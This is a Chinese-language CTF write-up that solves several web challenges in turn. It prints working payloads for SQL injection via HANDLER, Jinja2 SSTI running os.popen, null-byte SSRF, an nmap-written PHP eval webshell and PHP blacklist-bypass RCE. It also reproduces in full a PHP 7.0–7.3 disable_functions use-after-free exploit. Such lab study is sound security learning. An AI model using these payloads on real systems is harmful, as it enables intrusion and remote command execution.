写在前面
冲冲冲!
[ASIS 2019]Unicorn shop
进去是一个买独角兽的页面,但是找不到自己有多少钱???前三个独角兽很便宜,就几块钱,肯定不是 flag ,买最贵的独角兽时,回显了一句Only one char(?) allowed!
,只能输入一个字符,然而最贵的独角兽要 1337 块
回显报错
源码中有两句注释
因为那句We still have some surprise for admin.password
,一直以为是伪造 admin 的题目,卡老半天,无奈下去看了 wp ,结果涉及的是 Unicode 的安全问题,对应另一个注释的 hint
思路就是找到一个字符能够代表很大很大的数字,就能买到 flag 了
参考资料
搜索 Unicode 的网站
去搜索网站搜索关键字thousand
,选一个字符代表的数字大于 1337 的
选了个价值 10000 的
填它的 UTF-8 Encoding 转一个 url 编码%E1%8D%BC
,买到 flag
[GYCTF2020]Blacklist
像强网杯的进阶版,过滤函数更多了
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入同样可以用
1';show tables;#
,同样是两个表,熟悉的味道
但是过滤了alter
、rename
和prepare
,不能用强网杯的预编译和改默认表名的两个思路来打,还剩一个 handler
的思路
payload:
1'; handler `FlagHere` open; handler `FlagHere` read first;#
mysql 除可使用 select
查询表中的数据,也可使用 handler
语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过 handler
语句并不具备 select
语句的所有功能。它是 mysql 专用的语句,并没有包含到SQL标准中。
基本使用方法:
handler [table_name] open; #获取一个table_name的句柄
handler [table_name] read first; #查看句柄第一行
handler [table_name] read next; #查看下一行
handler [table_name] close;
也可以通过索引查看表中信息(FIRST,NEXT,PREV,LAST):
creat index [index_name] on [table_name](cloumn_name); #其中cloumn_name为要创建索引的列名
handler [table_name] open;
handler [table_name] read [index_name] first; #first获取第一行,next获取第二行,prev获取前一行,last获取最后一行
handler [table_name] close;
creat index [index_name] on [table_name](cloumn_name);
handler [table_name] read [index_name] = (2); #从索引值为2的地方查看数据
handler [table_name] close;
参考资料
[WesternCTF2018]shrine
直接给源码的 flask ssti
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个FLAG
的 config ,黑名单把()
、config
和self
过滤并替换成空,注入页面在shrine
目录下
如果没有黑名单的过滤,一般是采用{{config}}
或者{{self.__dict__}}
即可查看所有 app.config 内容
原理是利用 python 对象之间的引用关系来调用被黑名单 ban 掉的函数对象
有两个函数包含了 current_app 全局变量,url_for 和 get_flashed_messages
解法一:url_for
url_for()作用:
- 给指定的函数构造 URL。
- 访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。
配合globals()
,该函数会以字典类型返回当前位置的全部全局变量,可以实现查看的效果,输入url_for.__globals__
看到很多 wp 都说'crurent_app': <Flask 'app'>
表示当前的 app ,找资料理解了一波
首先一个 Flask 实例就是一个 app ,在常见 web 应用场景下,一般使用 Flask 是单 app 的情况,然而有些时候,在不依赖于 web 情况下,可能需要同时使用多个 app ,在这种情况下,通过一个叫 App Context
来彼此隔离。在一个 App Context
中间,我们可以任意位置通过 current_app
函数来获取当前的 app ,从而可以获取到其中的一些挂在 app 之上的数据、信息、变量等
参考资料
回到题目,{{url_for.__globals__['current_app'].config}}
直接查看 config ,拿到 flag
解法二:get_flashed_messages
get_flashed_messages()作用:
返回之前在 Flask 中通过 flash()
传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()
方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
同理,{{get_flashed_messages.__globals__['current_app'].config}}
,拿到 flag
[GKCTF2020]cve版签到
hint 是cve-2020-7066
,F12 查看有个 hint 说 flag 在 localhost 中
这个 cve 就是get_header()
函数会截断 url 中空字符(\0
或者%00
)后的内容,在低于 7.2.29 的 PHP 版本 7.2.x ,低于 7.3.16 的 7.3.x 和低于 7.4.4 的 7.4.x 中,将 get_headers()
与用户提供的 url 一起使用时,如果 url 包含零(\ 0)字符,则 url 将被静默地截断。这可能会导致某些软件对get_headers()
的目标做出错误的假设,并可能将某些信息发送到错误的服务器,也就是可以配合 ssrf 漏洞
get_headers() 是PHP系统级函数,他返回一个包含有服务器响应一个 HTTP 请求所发送的标头的数组, 如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息(可用来判断远程文件是否存在)
array get_headers ( string $url [, int $format = 0 ] )
$url 为目标 URL
回到题目,You just view *.ctfhub.com
说明 url 中必须是以.ctfhub.com
结尾的,点击View CTFHub
,url 中会多出来一个?url=http://www.ctfhub.com
,很明显的 ssrf 了
用 127.0.0.1 不行,有一句提示Tips: Host must be end with '123'
,改为127.0.0.123
成功
payload:/?url=http://127.0.0.123%00.ctfhub.com
[网鼎杯 2020 朱雀组]Nmap
nmap 也能写 shell 我是没想到的
-oN
标准保存
-oX
XML保存
-oG
Grep保存
-oA
保存到所有格式
-append-output
补充保存文件
php
被过滤,可以传 phtml
,短标签的一句话可以绕过<?= @eval($_POST["shell"]);?> -oG ma.phtml
还有一种解法是-iL
从 input filename 文件中读取扫描的目标,用nmap -iL /flag -oN ma.txt
可以读取 flag 将结果写到当前目录下的 ma.txt
里,再访问 ma.txt
就能看到里面内容
学习资料
[RootersCTF2019] I ♥ Flask
第一次见扫描参数的工具—— Arjun
工具参考资料
不知道为什么同样的安装使用操作,我的 win10 环境用不了,kali 里面就用得了
找到一个参数name
jinja2 的注入,有常用 payload
/?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
/?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
[CISCN 2019 初赛]Love Math
又是无参数的 RCE,强大的思路,骚气的绕过
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
简单审计
GET 方式传参
c
payload 长度不能超过
80
黑名单 ban 掉了
' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]' 空格 \t \r \n 单引号 双引号 反引号 中括号[]
给出了白名单,都是跟数学运算有关的函数
'abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'
最后命令执行
php 特性:
- 动态函数
php 中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
例如:$function = "getflag";$function();
- php 中函数名默认数据类型是字符串
可利用的 php 函数:
base_convert()
:在任意进制之间转换数字dechex()
:把十进制转换为十六进制hex2bin()
:把十六进制值的字符串转换为 ASCII 字符
解法一:构造 _GET
原理就是构造出 $pi=_GET;($_GET[pi])($_GET[cos])
payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=tac /flag
解释:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){cos}) => ($_GET){pi}($_GET){cos} //{}可以代替[]
构造 getallheaders
函数,通过请求头的字段读取 flag.php,getallheader()
返回的是数组,要从数组里面取数据用 array['xxx'] ,但是无奈中括号被 ban 掉了,因为花括号中是可以带数字的,这里用getallheader(){1}
可以返回自定义头 1
里面的内容
解法二:直接构造 cat *
这俩 payload 测试没有打通,但是是很好的思路,有空本地复现一遍
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
解法三:把白名单函数当成字符串异或出 _GET
<?php$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } }}
payload:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
[SUCTF 2018]annonymous
匿名函数不匿名
<?php$MY = create_function("","die(`cat flag.php`);");$hash = bin2hex(openssl_random_pseudo_bytes(32));eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}");if(isset($_GET['func_name'])){ $_GET["func_name"](); die();}show_source(__FILE__);
想拿 flag 需要执行$MY()
函数,这个函数的名称由create_function
函数创建
create_function()
函数的漏洞在于其创造的函数名称为%00lambda_%d
( %d
格式化为当前进程的第 n 个匿名函数),当 Apache 启动新的线程,这样这里的%d
会刷新为 1 ,就可以预测了
Apache-prefork 模型(默认模型)在接受请求后会如何处理,首先 Apache 会默认生成 5 个 child server 去等待用户连接, 默认最高可生成 256 个 child server , 这时候如果用户大量请求, Apache 就会在处理完 MaxRequestsPerChild 个 tcp 连接后kill掉这个进程,开启一个新进程处理请求(这里猜测 Orange 大大应该修改了默认的 0 ,因为 0 为永不kill掉子进程 这样就无法 kill 掉旧进程 fork 新进程了) 在这个新进程里面匿名函数就会是从 1 开始的了
参考资料:
爆破 exp:
import requestswhile True: r=requests.get('http://1f43a803-b9d6-451e-a792-a01031cee7ba.node3.buuoj.cn/?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break print('爆破ing')
[HarekazeCTF2019]encode_and_encode
直接给了源码
<?phperror_reporting(0);if (isset($_GET['source'])) { show_source(__FILE__); exit();}function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; // 黑名单整合成字符串 if (preg_match($regexp, $str)) { // 正则匹配黑名单 return false; } return true;}$body = file_get_contents('php://input'); // 捕获 POST 数据流给 body$json = json_decode($body, true); // 对 body 变量进行 json 解码if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; // 判断 body 变量是否合法,json 是否存在且 // 其中要有 page $content = file_get_contents($page); // 从 json 中的 page 中读出东西给 content if (!$content || !is_valid($content)) { // 检查 content $content = "<p>not found</p>\n"; }} else { $content = '<p>invalid request</p>';}// no data exfiltration!!!$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);// 正则匹配到 ctf 的关键字就会替换成 censoredecho json_encode(['content' => $content]); // 最后将 json 编码后的 content 输出
因为最后 json 中的 page 是通过 file_get_contents
函数传给 content 的,所以可以用 php://filter
伪协议来读 flag,因为 json 可以用转义字符绕过,比如\uXXXX
可以在 json 中转义字符,例如A
,\u0041
是等效的,也就是说:json_decode
函数会自动解析Unicode
编码
payload:
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
base64 解码拿到 flag
[GKCTF2020]CheckIN
<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; }}new ClassName();
事情远没有这段 php 源码来得容易,传一个 base64 后的一句话上去,蚁剑连上以后发现没有打开 flag 的权限,但是有一个 readflag
flag 的权限是 0700,第一位是 0 表示是目录文件,第二位 7 = 4 + 2 + 1 表示文件所有者拥有读、写、执行三个权限,第三位第四位都是 0 表示所有者的同组用户和其他权限用户没有对该文件操作的任何权限
phpinfo 得知 php 版本 7.3.18
,php 的 7.0-7.3 版本存在 disable_functions bypass 的漏洞,能够触发命令执行
exp:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
7.0-7.3_disable_function_poc.php
:
<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=72530## This exploit should work on all PHP 7.0-7.3 versions## Author: https://github.com/mm0r1pwn("uname -a");function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}
蚁剑上传文件时,需要传到一个 777
权限的目录(其他用户有执行权限),环境里面只有 tmp 目录符合要求
传参给 Ginkgo 时候文件包含🐎就行了,include('/tmp/7.0-7.3_disable_function_poc.php');
拿到 flag